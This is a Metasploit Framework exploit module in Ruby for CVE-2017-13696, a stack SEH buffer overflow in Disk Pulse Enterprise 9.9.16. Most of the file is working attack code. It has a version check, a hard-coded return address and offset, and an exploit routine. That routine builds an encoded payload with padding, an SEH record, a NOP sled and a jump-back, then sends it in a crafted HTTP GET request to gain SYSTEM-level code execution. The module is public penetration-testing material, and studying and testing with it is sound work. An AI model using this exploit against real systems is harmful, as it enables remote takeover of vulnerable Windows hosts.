1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
17
        'Description' => %q{
18
          This module exploits an SEH buffer overflow in Disk Pulse Enterprise
19
          9.9.16. If a malicious user sends a crafted HTTP GET request
20
          it is possible to execute a payload that would run under the Windows
21
          NT AUTHORITY\SYSTEM account.
22
        },
23
        'License' => MSF_LICENSE,
24
        'Author' => [
25
          'Chance Johnson', # msf module - [email protected]
26
          'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
27
        ],
28
        'References' => [
29
          [ 'CVE', '2017-13696' ],
30
          [ 'EDB', '42560' ]
31
        ],
32
        'DefaultOptions' => {
33
          'EXITFUNC' => 'thread'
34
        },
35
        'Platform' => 'win',
36
        'Payload' => {
37
          'EncoderType' => "alpha_mixed",
38
          'BadChars' => "\x00\x0a\x0d\x26"
39
        },
40
        'Targets' => [
41
          [
42
            'Disk Pulse Enterprise 9.9.16',
43
            {
44
              'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
45
              'Offset' => 2492
46
            }
47
          ]
48
        ],
49
        'Privileged' => true,
50
        'DisclosureDate' => '2017-08-25',
51
        'DefaultTarget' => 0,
52
        'Notes' => {
53
          'Reliability' => UNKNOWN_RELIABILITY,
54
          'Stability' => UNKNOWN_STABILITY,
55
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
        }
57
      )
58
    )
59

60
    register_options([Opt::RPORT(80)])
61
  end
62

63
  def check
64
    res = send_request_cgi(
65
      'uri' => '/',
66
      'method' => 'GET'
67
    )
68

69
    if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
70
      return Exploit::CheckCode::Appears
71
    end
72

73
    return Exploit::CheckCode::Safe
74
  end
75

76
  def exploit
77
    connect
78

79
    print_status("Generating exploit...")
80
    exp = payload.encoded
81
    exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
82
    exp << generate_seh_record(target.ret)
83
    exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
84
    exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
85
    exp << 'B' * (5000 - exp.length) # padding
86

87
    print_status("Sending exploit...")
88

89
    send_request_cgi(
90
      'uri' => '/../' + exp,
91
      'method' => 'GET',
92
      'host' => '4.2.2.2',
93
      'connection' => 'keep-alive'
94
    )
95

96
    handler
97
    disconnect
98
  end
99
end
100

101